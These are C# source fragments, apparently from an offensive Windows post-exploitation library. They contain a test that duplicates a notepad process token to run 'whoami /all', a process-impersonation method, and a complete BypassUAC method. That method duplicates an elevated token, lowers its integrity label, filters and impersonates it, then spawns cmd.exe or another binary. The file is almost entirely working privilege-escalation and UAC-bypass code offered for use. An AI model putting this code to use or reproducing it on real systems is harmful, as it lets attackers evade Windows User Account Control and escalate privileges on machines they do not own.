public void TestCreateProcessWithToken() { // Assumes that we have a single explorer process running that we can access PInvoke.Win32.Kernel32.OpenProcessToken( Process.GetProcessesByName("notepad")[0].Handle, (uint)TokenAccessLevels.MaximumAllowed, out IntPtr hToken ); Win32.WinBase._SECURITY_ATTRIBUTES sec = new Win32.WinBase._SECURITY_ATTRIBUTES(); PInvoke.Win32.Advapi32.DuplicateTokenEx( hToken, (uint)TokenAccessLevels.MaximumAllowed, ref sec, Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Win32.WinNT.TOKEN_TYPE.TokenImpersonation, out IntPtr hProcessToken ); string output = Shell.CreateProcessWithToken("whoami /all", @"C:\Windows\System32", hProcessToken); Console.WriteLine(output); Assert.AreNotEqual(null, output); Assert.IsTrue(output.Length > 10); Assert.IsTrue(output.Contains("PRIVILEGES INFORMATION")); }
/// <summary> /// Impersonate the token of the specified process. Used to execute subsequent commands as the user associated /// with the token of the specified process. (Requires Admin) /// </summary> /// <param name="ProcessID">Process ID of the process to impersonate.</param> /// <returns>True if impersonation succeeds, false otherwise.</returns> public bool ImpersonateProcess(UInt32 ProcessID) { IntPtr hProcessToken = GetTokenForProcess(ProcessID); if (hProcessToken == IntPtr.Zero) { return(false); } Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); IntPtr hDuplicateToken = IntPtr.Zero; if (!Win32.Advapi32.DuplicateTokenEx( hProcessToken, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Win32.WinNT.TOKEN_TYPE.TokenPrimary, out hDuplicateToken ) ) { Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); this.CloseHandle(hProcessToken); return(false); } this.OpenHandles.Add(hDuplicateToken); if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); this.CloseHandle(hProcessToken); this.CloseHandle(hDuplicateToken); return(false); } this.CloseHandle(hProcessToken); return(true); }
/// <summary> /// Bypasses UAC through token duplication and spawns a specified process. (Requires Admin) /// </summary> /// <param name="Binary">The binary to execute with high integrity.</param> /// <param name="Arguments">Arguments to pass to the binary.</param> /// <param name="Path">Path that the binary resides in.</param> /// <param name="ProcessId">Specify the process for which to perform token duplication. By deafult (0), all /// appropriate processes will be tried.</param> /// <returns>True if UAC bypass succeeeds, false otherwise.</returns> /// <remarks> /// Credit for the UAC bypass token duplication technique goes to James Forshaw (@tiraniddo). /// Credit for the PowerShell implementation of this bypass goes to Matt Nelson (@enigma0x3). /// </remarks> public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0) { string Username = WindowsIdentity.GetCurrent().Name; List <Process> processes = ProcessId == 0 ? this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() : new List <Process> { Process.GetProcessById(ProcessId) }; foreach (Process process in processes) { // Get PrimaryToken IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id); if (hProcess == IntPtr.Zero) { Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } this.OpenHandles.Add(hProcess); IntPtr hProcessToken = IntPtr.Zero; if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) { Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } this.OpenHandles.Add(hProcessToken); this.CloseHandle(hProcess); Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); IntPtr hDuplicateToken = IntPtr.Zero; if (!PInvoke.Win32.Advapi32.DuplicateTokenEx( hProcessToken, (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS, ref securityAttributes, Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Win32.WinNT.TOKEN_TYPE.TokenPrimary, out hDuplicateToken) ) { Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } this.OpenHandles.Add(hDuplicateToken); this.CloseHandle(hProcessToken); // SetTokenInformation Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Win32.WinNT._SID_IDENTIFIER_AUTHORITY(); pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; byte nSubAuthorityCount = 1; IntPtr pSid = new IntPtr(); if (!PInvoke.Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid)) { Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } Win32.WinNT._SID_AND_ATTRIBUTES sidAndAttributes = new Win32.WinNT._SID_AND_ATTRIBUTES(); sidAndAttributes.Sid = pSid; sidAndAttributes.Attributes = Win32.WinNT.SE_GROUP_INTEGRITY_32; Win32.WinNT._TOKEN_MANDATORY_LABEL tokenMandatoryLevel = new Win32.WinNT._TOKEN_MANDATORY_LABEL(); tokenMandatoryLevel.Label = sidAndAttributes; Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel); if (PInvoke.Native.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0) { Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } IntPtr hFilteredToken = IntPtr.Zero; if (PInvoke.Native.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0) { Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } this.OpenHandles.Add(hFilteredToken); this.CloseHandle(hDuplicateToken); // ImpersonateUser Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES(); IntPtr hDuplicateToken2 = IntPtr.Zero; if (!PInvoke.Win32.Advapi32.DuplicateTokenEx( hFilteredToken, (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY), ref securityAttributes2, Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, Win32.WinNT.TOKEN_TYPE.TokenImpersonation, out hDuplicateToken2) ) { Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } this.OpenHandles.Add(hDuplicateToken2); this.CloseHandle(hFilteredToken); if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO(); startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO)); Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION(); if (!PInvoke.Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "password", 0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation)) { Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } return(this.RevertToSelf()); } return(false); }